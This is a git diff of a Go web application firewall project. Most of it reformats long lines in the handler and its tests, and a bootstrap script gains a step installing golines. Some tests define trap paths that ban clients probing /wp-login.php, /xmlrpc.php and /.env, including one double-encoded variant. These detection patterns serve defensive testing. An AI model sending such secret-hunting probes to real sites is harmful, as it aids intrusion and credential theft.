line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned) + line = s.get( + client, + http.StatusTooManyRequests, + requestlog.ActionPermanentlyBanned, + ) if line.BanExpires != permanent { - t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) + t.Errorf( + "log line has ban_expires %q, want permanent", + line.BanExpires, + ) } } func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) { t.Parallel() - s, _, _ := startWithClock(t, "", map[string]string{trapPaths: trapPathList}) + s, _, _ := startWithClock( + t, + "", + map[string]string{trapPaths: trapPathList}, + ) - line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusForbidden, - requestlog.ActionTemporarilyBanned) + line := s.request( + client, + "/wp-login.php?redirect_to=x", + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`) } func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) { t.Parallel() - s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList}) + s, _, server := startWithClock( + t, + "", + map[string]string{trapPaths: trapPathList}, + ) // %2577 decodes once to %77, not to w. - s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward) + s.request( + otherClient, + "/%2577p-login.php", + http.StatusOK, + requestlog.ActionForward, + ) s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionTemporarilyBanned) // The ban's notes give the path as the client sent it. got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" { - t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got) + t.Fatalf( + "bans %+v, want one whose notes give the trap path /%%77p-login.php", + got, + ) } } @@ -130,7 +169,12 @@ func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) { mode: observe, }) - line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + "/xmlrpc.php", + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned) // No ban was made. diff --git a/internal/waf/waf.go b/internal/waf/waf.go index d624946..c0358f3 100644 --- a/internal/waf/waf.go +++ b/internal/waf/waf.go @@ -108,9 +108,12 @@ func New(params Params) *Server { return &Server{ Server: &http.Server{ - Addr: params.Config.ListenAddr, - Handler: h, - ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn), + Addr: params.Config.ListenAddr, + Handler: h, + ErrorLog: slog.NewLogLogger( + params.ProcessLog.Handler(), + slog.LevelWarn, + ), ReadTimeout: wafTimeout, WriteTimeout: wafTimeout, IdleTimeout: wafIdleTimeout, @@ -153,7 +156,8 @@ func (rq *request) refusedWhateverTheAnswer(now time.Time) bool { _, decided := rq.crowdSecDecisionInForce(now) - return decided || rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) || + return decided || + rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) || rq.overAWholeRateLimit(now) } @@ -169,8 +173,13 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) { // One that cannot be read leaves the log line's peer_ip invalid. peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader)) - rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(), - true) + rq := h.startRequest( + w, + asTheVisitorSentIt(r, body), + client.Unmap(), + peer.Unmap(), + true, + ) // The last deferred runs first, so that what is held has the finished log // line. Go's server sends the answer only once this function has // returned, so the report cannot come before it is held. @@ -208,7 +217,11 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) { // own address, so this answers as a path with no endpoint does. rq.line.Action = requestlog.ActionOwnEndpoint rq.out.Header().Set(DispositionHeader, DispositionDeny) - http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) + http.Error( + rq.out, + http.StatusText(http.StatusNotFound), + http.StatusNotFound, + ) } // readQuestion returns the visitor's address and the body a question carries, @@ -238,7 +251,9 @@ func (h *handler) readQuestion( return netip.Addr{}, nil, false } - body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes)) + body, err := io.ReadAll( + http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes), + ) if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge { h.refuseQuestion(w, "the body is over 64 KiB") @@ -247,7 +262,11 @@ func (h *handler) readQuestion( } if err != nil { - h.processLog.Warn("a question's body stopped arriving", "error", err.Error()) + h.processLog.Warn( + "a question's body stopped arriving", + "error", + err.Error(), + ) // This panic has Go's server close the connection without an answer, // and log nothing. panic(http.ErrAbortHandler) @@ -255,7 +274,10 @@ func (h *handler) readQuestion( held, _ := h.awaitingReport.ContainsOrAdd(id, nil) if held { - h.refuseQuestion(w, requestIDHeader+" is the id of a request waf holds") + h.refuseQuestion( + w, + requestIDHeader+" is the id of a request waf holds", + ) return netip.Addr{}, nil, false } @@ -389,7 +411,9 @@ func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) { func readReport(w http.ResponseWriter, r *http.Request) (Report, error) { var report Report - body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes)) + body, err := io.ReadAll( + http.MaxBytesReader(w, r.Body, reportBodyMaxBytes), + ) if err != nil { return report, fmt.Errorf("read the body: %w", err) } @@ -445,11 +469,18 @@ func (report *Report) checkRanges() error { // request to its client's history, the anomaly counters and the metrics, with // the status and bytes the report gives. A denied request's counting was // finished at its decision. ctx is the report's own context. -func (h *handler) finishWith(ctx context.Context, held *decision, report Report) { +func (h *handler) finishWith( + ctx context.Context, + held *decision, + report Report, +) { rq := &request{ - decision: *held, - h: h, - out: &responseWriter{status: report.Status, bytes: report.ResponseBytes}, + decision: *held, + h: h, + out: &responseWriter{ + status: report.Status, + bytes: report.ResponseBytes, + }, requestBytes: report.RequestBytes, } @@ -466,9 +497,13 @@ func (h *handler) finishWith(ctx context.Context, held *decision, report Report) rq.countAnomalies() rq.addToHistory() - rq.h.metrics.RequestReported(&rq.line, + rq.h.metrics.RequestReported( + &rq.line, time.Duration(report.DurationTotalMS*float64(time.Millisecond)), - time.Duration(report.DurationUpstreamTotalMS*float64(time.Millisecond))) + time.Duration( + report.DurationUpstreamTotalMS*float64(time.Millisecond), + ), + ) } rq.writeLine() diff --git a/internal/waf/waf_test.go b/internal/waf/waf_test.go index 68d69d7..0785922 100644 --- a/internal/waf/waf_test.go +++ b/internal/waf/waf_test.go @@ -185,7 +185,13 @@ func (s *WAF) history() ratelimit.History { func (s *WAF) metrics() string { s.t.Helper() - req := newRequest(s.t, http.MethodGet, s.addr, waf.MetricsPath, http.NoBody) + req := newRequest( + s.t, + http.MethodGet, + s.addr, + waf.MetricsPath, + http.NoBody, + ) req.Header.Set("Authorization", bearer) got := do(s.t, req) @@ -195,13 +201,22 @@ func (s *WAF) metrics() string { } // wantDisposition checks an answer's status and disposition. -func wantDisposition(t *testing.T, got answer, status int, disposition string) { +func wantDisposition( + t *testing.T, + got answer, + status int, + disposition string, +) { t.Helper() wantStatus(t, got, status) if answered := got.header.Get(waf.DispositionHeader); answered != disposition { - t.Errorf("answered with disposition %q, want %q", answered, disposition) + t.Errorf( + "answered with disposition %q, want %q", + answered, + disposition, + ) } } @@ -228,8 +243,13 @@ func wantProcessMessages(t *testing.T, s *WAF, msg string, count int) { } if found != count { - t.Errorf("%d process warnings %q, want %d; output:\n%s", found, msg, count, - s.out.text()) + t.Errorf( + "%d process warnings %q, want %d; output:\n%s", + found, + msg, + count, + s.out.text(), + ) } } @@ -259,15 +279,21 @@ func TestQuestionAllowedIsAnsweredAndLogged(t *testing.T) { wantBody(t, got, "") if id := got.header.Get(requestIDHeader); id != "" { - t.Errorf("answered with the id %q, want none: rproxy makes the id", id) + t.Errorf( + "answered with the id %q, want none: rproxy makes the id", + id, + ) } line := s.out.requestLine(t) wantLine(t, line, http.StatusOK, requestlog.ActionForward) - if line.ClientIP != client || line.PeerIP != rproxyPeer || line.Host != siteA || - line.Path != "/page" || line.Query != "q=1&token=visible" || - line.RequestID != "the-id" || line.Scheme != "https" || + if line.ClientIP != client || line.PeerIP != rproxyPeer || + line.Host != siteA || + line.Path != "/page" || + line.Query != "q=1&token=visible" || + line.RequestID != "the-id" || + line.Scheme != "https" || line.ContentLength != 1234 || line.WAFLine != requestlog.WAFLineDecision { t.Errorf("log line is %+v", line.Line) @@ -297,7 +323,11 @@ func TestIPv4VisitorInIPv6FormIsTheIPv4Client(t *testing.T) { line := s.out.requestLine(t) if line.ClientIP != client || line.PeerIP != rproxyPeer { - t.Errorf("log line has client_ip %q and peer_ip %q", line.ClientIP, line.PeerIP) + t.Errorf( + "log line has client_ip %q and peer_ip %q", + line.ClientIP, + line.PeerIP, + ) } } @@ -344,7 +374,10 @@ func TestMalformedQuestionGets400AndAWarningAndNoLine(t *testing.T) { metrics := s.metrics() if strings.Contains(metrics, `status_class="4xx"`) { - t.Errorf("a refused question is counted in the metrics:\n%s", metrics) + t.Errorf( + "a refused question is counted in the metrics:\n%s", + metrics, + ) } }) } @@ -365,7 +398,9 @@ func TestQuestionWithABodyOver64KiBGets400(t *testing.T) { s := startWAF(t, "", nil) - over := strings.NewReader(strings.Repeat("x", waf.QuestionBodyMaxBytes+1)) + over := strings.NewReader( + strings.Repeat("x", waf.QuestionBodyMaxBytes+1), + ) got := do(t, s.questionWith(http.MethodPost, siteA, client, "/", over)) wantDisposition(t, got, http.StatusBadRequest, "") wantProcessMessages(t, s, "a question is refused", 1) @@ -390,7 +425,12 @@ func TestQuestionWithAHeldIDIsRefused(t *testing.T) { // A denied request's id is held as well. denied := s.question(siteA, otherClient, waf.HealthPath) - wantDisposition(t, do(t, denied), http.StatusNotFound, waf.DispositionDeny) + wantDisposition( + t, + do(t, denied), + http.StatusNotFound, + waf.DispositionDeny, + ) again = s.question(siteA, client, "/") again.Header.Set(requestIDHeader, denied.Header.Get(requestIDHeader)) @@ -463,7 +503,10 @@ func TestReportNeverReachesAQuestionStillBeingHandled(t *testing.T) { line := s.out.requestLine(t) if line.ResponseBytes != 0 || line.WAFLine != requestlog.WAFLineDecision { - t.Errorf("the report reached the question being handled: %+v", line.Line) + t.Errorf( + "the report reached the question being handled: %+v", + line.Line, + ) } if held := s.server.Ledger.Snapshot(); len(held) != 0 { @@ -495,10 +538,18 @@ func TestPeerAbsentOrUnreadableIsAnsweredAndLoggedInvalid(t *testing.T) { req.Header.Set(waf.PeerHeader, peer) } - wantDisposition(t, do(t, req), http.StatusOK, waf.DispositionAllow) + wantDisposition( + t, + do(t, req), + http.StatusOK, + waf.DispositionAllow, + ) if line := s.out.requestLine(t); line.PeerIP != "invalid IP" { - t.Errorf("log line has peer_ip %q, want invalid IP", line.PeerIP) + t.Errorf( + "log line has peer_ip %q, want invalid IP", + line.PeerIP, + ) } }) } @@ -512,15 +563,26 @@ func TestContentLengthUnreadableOrNegativeCountsAsAbsent(t *testing.T) { t.Parallel() s := startWAF(t, "", map[string]string{ - rulesDir: writeRules(t, "any-length header:Content-Length block .\n"), + rulesDir: writeRules( + t, + "any-length header:Content-Length block .\n", + ), }) req := s.question(siteA, client, "/") req.Header.Set(waf.ContentLengthHeader, announced) - wantDisposition(t, do(t, req), http.StatusOK, waf.DispositionAllow) + wantDisposition( + t, + do(t, req), + http.StatusOK, + waf.DispositionAllow, + ) if line := s.out.requestLine(t); line.ContentLength != 0 { - t.Errorf("log line has content_length %d, want none", line.ContentLength) + t.Errorf( + "log line has content_length %d, want none", + line.ContentLength, + ) } }) } @@ -596,8 +658,12 @@ func TestQuestionWhoseBodyStopsArrivingGetsNoAnswer(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - s := startWAFWith(t, "", map[string]string{metricsToken: token}, - func(server *waf.Server) { server.ReadTimeout = readTimeout }) + s := startWAFWith( + t, + "", + map[string]string{metricsToken: token}, + func(server *waf.Server) { server.ReadTimeout = readTimeout }, + ) conn := dial(t, s.addr) sendQuestionWithPartOfItsBody(t, conn) @@ -610,17 +676,30 @@ func TestQuestionWhoseBodyStopsArrivingGetsNoAnswer(t *testing.T) { sent, err := io.ReadAll(conn) if err != nil || len(sent) != 0 { - t.Errorf("rproxy read %q (%v), want the connection closed unanswered", - sent, err) + t.Errorf( + "rproxy read %q (%v), want the connection closed unanswered", + sent, + err, + ) } - wantProcessMessages(t, s, "a question's body stopped arriving", 1) + wantProcessMessages( + t, + s, + "a question's body stopped arriving", + 1, + ) wantNoRequestLines(t, s) // The id was not taken. again := s.question(siteA, client, "/") again.Header.Set(requestIDHeader, "an-id") - wantDisposition(t, do(t, again), http.StatusOK, waf.DispositionAllow) + wantDisposition( + t, + do(t, again), + http.StatusOK, + waf.DispositionAllow, + ) }) } } @@ -639,7 +718,12 @@ func TestQuestionDeniedGetsTheBanResponse(t *testing.T) { got := s.ask(client, "/") wantDisposition(t, got, status, waf.DispositionDeny) wantBody(t, got, http.StatusText(status)+"\n") - wantLine(t, s.out.requestLine(t), status, requestlog.ActionClientDenied) + wantLine( + t, + s.out.requestLine(t), + status, + requestlog.ActionClientDenied, + ) }) } } @@ -656,11 +740,18 @@ func TestBanResponseCloseIsAnAnswerOfItsOwn(t *testing.T) { wantBody(t, got, "") // The visitor is sent nothing. wantLine(t, s.out.requestLine(t), 0, requestlog.ActionClientDenied) - wantMetric(t, s.metrics(), `sww_requests_total{action="client_denied",instance="`+ - alertInstance+`",status_class="none"}`, 1) + wantMetric( + t, + s.metrics(), + `sww_requests_total{action="client_denied",instance="`+ + alertInstance+`",status_class="none"}`, + 1, + ) } -func TestBlockRuleIsDeniedWith403AndABanRuleWithTheBanResponse(t *testing.T) { +func TestBlockRuleIsDeniedWith403AndABanRuleWithTheBanResponse( + t *testing.T, +) { t.Parallel() s := startWAF(t, "", map[string]string{ @@ -679,7 +770,9 @@ func TestBlockRuleIsDeniedWith403AndABanRuleWithTheBanResponse(t *testing.T) { requestlog.ActionTemporarilyBanned) } -func TestQuestionUnderTheOwnPrefixIsDeniedWith404AfterTheChecks(t *testing.T) { +func TestQuestionUnderTheOwnPrefixIsDeniedWith404AfterTheChecks( + t *testing.T, +) { t.Parallel() s := startWAF(t, "", map[string]string{ @@ -693,7 +786,12 @@ func TestQuestionUnderTheOwnPrefixIsDeniedWith404AfterTheChecks(t *testing.T) { wantDisposition(t, got, http.StatusNotFound, waf.DispositionDeny) } - wantLine(t, s.out.requestLine(t), http.StatusNotFound, requestlog.ActionOwnEndpoint) + wantLine( + t, + s.out.requestLine(t), + http.StatusNotFound, + requestlog.ActionOwnEndpoint, + ) got := s.ask(otherClient, waf.MetricsPath) wantDisposition(t, got, http.StatusForbidden, waf.DispositionDeny) @@ -712,7 +810,9 @@ func TestObserveModeAllowsAndLogsWhatEnforceModeWouldHaveDone(t *testing.T) { wantWouldAction(t, line, requestlog.ActionClientDenied) } -func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(t *testing.T) { +func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst( + t *testing.T, +) { t.Parallel() s := startWAF(t, "", map[string]string{ @@ -725,9 +825,14 @@ func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(t *testing.T) { } lines := s.out.requestLines(t, 2) - if lines[0].LimitHit != "" || lines[1].LimitHit != requestlog.LimitHitMinuteRefusals { - t.Errorf("log lines have limit_hit %q and %q, want none and %q", - lines[0].LimitHit, lines[1].LimitHit, requestlog.LimitHitMinuteRefusals) + if lines[0].LimitHit != "" || + lines[1].LimitHit != requestlog.LimitHitMinuteRefusals { + t.Errorf( + "log lines have limit_hit %q and %q, want none and %q", + lines[0].LimitHit, + lines[1].LimitHit, + requestlog.LimitHitMinuteRefusals, + ) } } @@ -744,9 +849,14 @@ func TestDeniedQuestionCountsForTheErrorBurst(t *testing.T) { } lines := s.out.requestLines(t, 2) - if lines[0].LimitHit != "" || lines[1].LimitHit != requestlog.LimitHitMinuteRefusals { - t.Errorf("log lines have limit_hit %q and %q, want none and %q", - lines[0].LimitHit, lines[1].LimitHit, requestlog.LimitHitMinuteRefusals) + if lines[0].LimitHit != "" || + lines[1].LimitHit != requestlog.LimitHitMinuteRefusals { + t.Errorf( + "log lines have limit_hit %q and %q, want none and %q", + lines[0].LimitHit, + lines[1].LimitHit, + requestlog.LimitHitMinuteRefusals, + ) } } @@ -771,10 +881,19 @@ func TestAllowCarriesTheLookupHeadersWhileTheSettingIsSet(t *testing.T) { got := s.ask(fromDE, "/") wantDisposition(t, got, http.StatusOK, waf.DispositionAllow) - asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country") + asn, country := got.header.Get( + "X-Client-Asn", + ), got.header.Get( + "X-Client-Country", + ) if asn != tc.wantASN || country != tc.wantCountry { - t.Errorf("answered with the AS number %q and the country %q, want %q and %q", - asn, country, tc.wantASN, tc.wantCountry) + t.Errorf( + "answered with the AS number %q and the country %q, want %q and %q", + asn, + country, + tc.wantASN, + tc.wantCountry, + ) } }) } @@ -832,14 +951,21 @@ func TestReportCountsAtThePercentageItsQuestionWasGiven(t *testing.T) { }) s.passedOn(fromKP) - wantDisposition(t, s.ask(fromKP, "/"), http.StatusOK, waf.DispositionAllow) + wantDisposition( + t, + s.ask(fromKP, "/"), + http.StatusOK, + waf.DispositionAllow, + ) s.passedOn(fromDE) wantDisposition(t, s.ask(fromDE, "/"), http.StatusForbidden, waf.DispositionDeny) } -func TestReportAddsTheRequestToItsClientsHistoryAndTheAnomalyCounters(t *testing.T) { +func TestReportAddsTheRequestToItsClientsHistoryAndTheAnomalyCounters( + t *testing.T, +) { t.Parallel() s := startWAF(t, "", map[string]string{anomalyClientPerMinute: "1000"}) @@ -847,11 +973,17 @@ func TestReportAddsTheRequestToItsClientsHistoryAndTheAnomalyCounters(t *testing id := s.allowed(client) if requests := s.history().Requests; requests != 0 { - t.Errorf("history holds %d requests before the report, want none", requests) + t.Errorf( + "history holds %d requests before the report, want none", + requests, + ) } if counters := s.server.Anomalies.Snapshot(); len(counters) != 0 { - t.Errorf("anomaly counters %v before the report, want none", counters) + t.Errorf( + "anomaly counters %v before the report, want none", + counters, + ) } got := s.report(waf.Report{ @@ -882,7 +1014,12 @@ func TestDeniedRequestIsFinishedAtItsDecision(t *testing.T) { s.allowed(client) denied := s.question(siteA, client, "/") - wantDisposition(t, do(t, denied), http.StatusForbidden, waf.DispositionDeny) + wantDisposition( + t, + do(t, denied), + http.StatusForbidden, + waf.DispositionDeny, + ) counters := s.server.Anomalies.Snapshot() if len(counters) != 1 || counters[0].Minute.Current != 1 { @@ -900,13 +1037,19 @@ func TestDeniedRequestIsFinishedAtItsDecision(t *testing.T) { wantMetric(t, s.metrics(), series, 1) got := s.report(waf.Report{ - RequestID: denied.Header.Get(requestIDHeader), Status: http.StatusForbidden, + RequestID: denied.Header.Get( + requestIDHeader, + ), Status: http.StatusForbidden, ResponseBytes: 1000, DurationTotalMS: 2, }) wantStatus(t, got, http.StatusNoContent) if after := s.history(); after != history { - t.Errorf("the report changed the history to %+v, from %+v", after, history) + t.Errorf( + "the report changed the history to %+v, from %+v", + after, + history, + ) } counters = s.server.Anomalies.Snapshot() @@ -929,8 +1072,12 @@ func TestMetricsCountAnAllowedRequestFromItsReport(t *testing.T) { metrics := s.metrics() wantNoSeries(t, metrics, "sww_requests_total"+series) - wantMetric(t, metrics, `sww_requests_in_flight{instance="`+alertInstance+`"}`, - 1) // the scrape itself + wantMetric( + t, + metrics, + `sww_requests_in_flight{instance="`+alertInstance+`"}`, + 1, + ) // the scrape itself got := s.report(waf.Report{ RequestID: id, Status: http.StatusBadGateway, @@ -955,8 +1102,12 @@ func TestMetricsCountAnAllowedRequestFromItsReport(t *testing.T) { DurationTotalMS: 5, }) wantStatus(t, got, http.StatusNoContent) - wantMetric(t, unscraped.metrics(), - `sww_request_duration_seconds_sum{instance="`+alertInstance+`"}`, 0.005) + wantMetric( + t, + unscraped.metrics(), + `sww_request_duration_seconds_sum{instance="`+alertInstance+`"}`, + 0.005, + ) } func TestReportForARequestNotHeldIsIgnored(t *testing.T) { @@ -988,7 +1139,11 @@ func TestReportForARequestNotHeldIsIgnored(t *testing.T) { } if counted := s.history().ResponseBytes; counted != answerBytes { - t.Errorf("history holds %d response bytes, want %d", counted, answerBytes) + t.Errorf( + "history holds %d response bytes, want %d", + counted, + answerBytes, + ) } // The question's line and one for the first report, none for the second. @@ -1061,7 +1216,11 @@ func TestReportThatIsNotOneObjectWithAllItsFieldsIsRefused(t *testing.T) { wantStatus(t, s.reportBody(whole), http.StatusNoContent) if counted := s.history().ResponseBytes; counted != answerBytes { - t.Errorf("history holds %d response bytes, want %d", counted, answerBytes) + t.Errorf( + "history holds %d response bytes, want %d", + counted, + answerBytes, + ) } } @@ -1073,21 +1232,35 @@ func TestReportOver1MiBIsRefusedAndOneOfExactly1MiBIsTaken(t *testing.T) { id := s.allowed(client) // The padding is a field of no meaning here, so only the size can refuse it. padded := func(size int) string { - return encodedReport(t, id, map[string]any{"padding": strings.Repeat("x", size)}) + return encodedReport( + t, + id, + map[string]any{"padding": strings.Repeat("x", size)}, + ) } paddingBytes := reportBodyLimit - len(padded(0)) - wantStatus(t, s.reportBody(padded(paddingBytes+1)), http.StatusBadRequest) + wantStatus( + t, + s.reportBody(padded(paddingBytes+1)), + http.StatusBadRequest, + ) wantProcessMessages(t, s, "a report is refused", 1) if requests := s.history().Requests; requests != 0 { - t.Errorf("history holds %d requests, want the refused report not counted", requests) + t.Errorf( + "history holds %d requests, want the refused report not counted", + requests, + ) } wantStatus(t, s.reportBody(padded(paddingBytes)), http.StatusNoContent) if requests := s.history().Requests; requests != 1 { - t.Errorf("history holds %d requests, want the report of 1 MiB counted", requests) + t.Errorf( + "history holds %d requests, want the report of 1 MiB counted", + requests, + ) } } @@ -1192,7 +1365,10 @@ func wantReportsFields(t *testing.T, line logLine) { line.RequestBytes != bodyBytes || line.ResponseBytes != answerBytes || line.DurationTotalMS != 12.5 || line.DurationUpstreamTotalMS == nil || *line.DurationUpstreamTotalMS != 10.25 { - t.Errorf("the report's line lacks the report's fields: %+v", line.Line) + t.Errorf( + "the report's line lacks the report's fields: %+v", + line.Line, + ) } } @@ -1220,7 +1396,11 @@ func wantSameDecision(t *testing.T, reported, decided logLine) { // wantDecisionsFields checks what waf answered and noted on the decision's // line, of a request with these fields. -func wantDecisionsFields(t *testing.T, line logLine, id, query, accept string) { +func wantDecisionsFields( + t *testing.T, + line logLine, + id, query, accept string, +) { t.Helper() if line.WAFLine != requestlog.WAFLineDecision || @@ -1234,7 +1414,9 @@ func wantDecisionsFields(t *testing.T, line logLine, id, query, accept string) { } } -func TestReportWritesTheLastLineWithTheDecisionsAndTheReportsFields(t *testing.T) { +func TestReportWritesTheLastLineWithTheDecisionsAndTheReportsFields( + t *testing.T, +) { t.Parallel() s := startWAF(t, "", map[string]string{ @@ -1353,29 +1535,46 @@ func TestOldestAnsweredRequestIsDroppedPastTheBound(t *testing.T) { t.Fatalf("question: %v", err) } - wantDisposition(t, readAnswer(res), http.StatusOK, waf.DispositionAllow) + wantDisposition( + t, + readAnswer(res), + http.StatusOK, + waf.DispositionAllow, + ) } // The table is full again with next and those, without oldest. - got := s.report(waf.Report{RequestID: oldest, ResponseBytes: answerBytes}) + got := s.report( + waf.Report{RequestID: oldest, ResponseBytes: answerBytes}, + ) wantStatus(t, got, http.StatusNoContent) if counted := s.history().Requests; counted != 0 { - t.Errorf("history holds %d requests, want the dropped one not counted", counted) + t.Errorf( + "history holds %d requests, want the dropped one not counted", + counted, + ) } got = s.report(waf.Report{RequestID: next, ResponseBytes: answerBytes}) wantStatus(t, got, http.StatusNoContent) if counted := s.history().Requests; counted != 1 { - t.Errorf("history holds %d requests, want the one still held", counted) + t.Errorf( + "history holds %d requests, want the one still held", + counted, + ) } } func TestBanMadeThroughOneHostRefusesTheClientOnAnother(t *testing.T) { t.Parallel() - s := startWAF(t, "", map[string]string{rulesDir: writeRules(t, testRules)}) + s := startWAF( + t, + "", + map[string]string{rulesDir: writeRules(t, testRules)}, + ) got := do(t, s.question(siteA, client, "/.env")) wantDisposition(t, got, http.StatusForbidden, waf.DispositionDeny) @@ -1385,17 +1584,29 @@ func TestBanMadeThroughOneHostRefusesTheClientOnAnother(t *testing.T) { lines := s.out.requestLines(t, 2) if lines[0].Host != siteA || lines[1].Host != siteB { - t.Errorf("log lines have the hosts %q and %q", lines[0].Host, lines[1].Host) + t.Errorf( + "log lines have the hosts %q and %q", + lines[0].Host, + lines[1].Host, + ) } held := s.server.Ledger.Snapshot() if len(held) != 1 || held[0].Notes.Request.Host != siteA { - t.Errorf("bans held are %+v, want one whose notes name %s", held, siteA) + t.Errorf( + "bans held are %+v, want one whose notes name %s", + held, + siteA, + ) } waiting := s.queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) == 0 || waiting[0].Host != siteA { - t.Errorf("alerts waiting are %+v, want the ban's, naming %s", waiting, siteA) + t.Errorf( + "alerts waiting are %+v, want the ban's, naming %s", + waiting, + siteA, + ) } } @@ -1441,7 +1652,12 @@ func TestOwnEndpointsAnswerOnlyWithoutTheClientHeader(t *testing.T) { req.Header.Set("Authorization", tc.authorization) if strings.HasPrefix(tc.path, "/_sww/") { - wantDisposition(t, do(t, req), http.StatusNotFound, waf.DispositionDeny) + wantDisposition( + t, + do(t, req), + http.StatusNotFound, + waf.DispositionDeny, + ) } else { wantDisposition(t, do(t, req), http.StatusOK, waf.DispositionAllow) } @@ -1494,7 +1710,12 @@ func TestLogLevelHoldsBackNoRequestLine(t *testing.T) { wantStatus(t, do(t, req), http.StatusBadRequest) s.allowed(client) - wantLine(t, s.out.requestLine(t), http.StatusOK, requestlog.ActionForward) + wantLine( + t, + s.out.requestLine(t), + http.StatusOK, + requestlog.ActionForward, + ) for _, line := range s.out.lines(t) { if line["type"] == "process" { @@ -1508,10 +1729,15 @@ func TestServerHasTheTimeLimitsSPECGives(t *testing.T) { s := startWAF(t, "", nil) - if s.server.ReadTimeout != time.Minute || s.server.WriteTimeout != time.Minute || + if s.server.ReadTimeout != time.Minute || + s.server.WriteTimeout != time.Minute || s.server.IdleTimeout != 2*time.Minute { - t.Errorf("the read, write and idle limits are %v, %v and %v, want 1m, 1m and 2m", - s.server.ReadTimeout, s.server.WriteTimeout, s.server.IdleTimeout) + t.Errorf( + "the read, write and idle limits are %v, %v and %v, want 1m, 1m and 2m", + s.server.ReadTimeout, + s.server.WriteTimeout, + s.server.IdleTimeout, + ) } } @@ -1584,10 +1810,14 @@ func TestCoreRuleSetAlertNamesTheSite(t *testing.T) { wantDisposition(t, got, http.StatusForbidden, waf.DispositionDeny) waiting := s.queue.Snapshot().Waiting[alerts.DestinationWebhook] - if len(waiting) != 1 || waiting[0].Event != alerts.EventCoreRuleSetMatch || + if len(waiting) != 1 || + waiting[0].Event != alerts.EventCoreRuleSetMatch || waiting[0].Host != siteA { - t.Errorf("alerts waiting are %+v, want a core_rule_set_match naming %s", - waiting, siteA) + t.Errorf( + "alerts waiting are %+v, want a core_rule_set_match naming %s", + waiting, + siteA, + ) } } @@ -1603,7 +1833,11 @@ func TestReputationHitAlertNamesTheSite(t *testing.T) { waiting := s.queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit || waiting[0].Host != siteA { - t.Errorf("alerts waiting are %+v, want a reputation_hit naming %s", waiting, siteA) + t.Errorf( + "alerts waiting are %+v, want a reputation_hit naming %s", + waiting, + siteA, + ) } } @@ -1619,6 +1853,10 @@ func TestAnomalyAlertNamesTheSite(t *testing.T) { waiting := s.queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Event != alerts.EventAnomaly || waiting[0].Host != siteA { - t.Errorf("alerts waiting are %+v, want an anomaly naming %s", waiting, siteA) + t.Errorf( + "alerts waiting are %+v, want an anomaly naming %s", + waiting, + siteA, + ) } } diff --git a/script/bootstrap b/script/bootstrap index 967bf12..9f8ef17 100755 --- a/script/bootstrap +++ b/script/bootstrap @@ -6,8 +6,9 @@ # used directly if installed; otherwise it is installed at a pinned # version via nvm (installing nvm itself first, from a hash-verified # release archive, never curl | sh). Go comes from the package manager, -# for gofmt in script/fmt and script/fmt-check: the tests and the linter -# run in docker and need no Go on the host. +# for gofmt and golines in script/fmt and script/fmt-check: the tests +# and the linter run in docker and need no Go on the host. golines is +# installed with go install at a pinned commit. set -eu ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" @@ -18,6 +19,9 @@ NVM_VERSION="0.40.3" # sha256 of https://github.com/nvm-sh/nvm/archive/refs/tags/v0.40.3.tar.gz NVM_SHA256="5f4d6aaa04a177dc93c985e31dbc411ab6b8c6e1e21d8015dbc1372625fcd1d0" YARN_VERSION="1.22.22" +# golines v0.13.0, 2025-08-21 +GOLINES_VERSION="v0.13.0" +GOLINES_COMMIT="8f32f0f7e89c30f572c7f2cd3b2a48016b9d8bbf" PKGMGR="" SUDO="" @@ -117,6 +121,23 @@ ensure_yarn() { fi } +# go install writes to GOBIN, or to GOPATH/bin when GOBIN is unset, +# whether or not that is on the PATH. script/fmt and script/fmt-check +# run golines from the same place, never another copy on the PATH. +# golines --version prints "vdev" for a binary go install built, so +# the version comes from the module line go version -m prints. +ensure_golines() { + gobin="$(go env GOBIN)" + golines="${gobin:-$(go env GOPATH)/bin}/golines" + if [ -x "$golines" ]; then + installed="$(go version -m "$golines" | awk '$1 == "mod" { print $3 }')" + if [ "$installed" = "$GOLINES_VERSION" ]; then + return 0 + fi + fi + go install "github.com/segmentio/golines@$GOLINES_COMMIT" +} + install_js_deps() { if missing yarn && [ -s 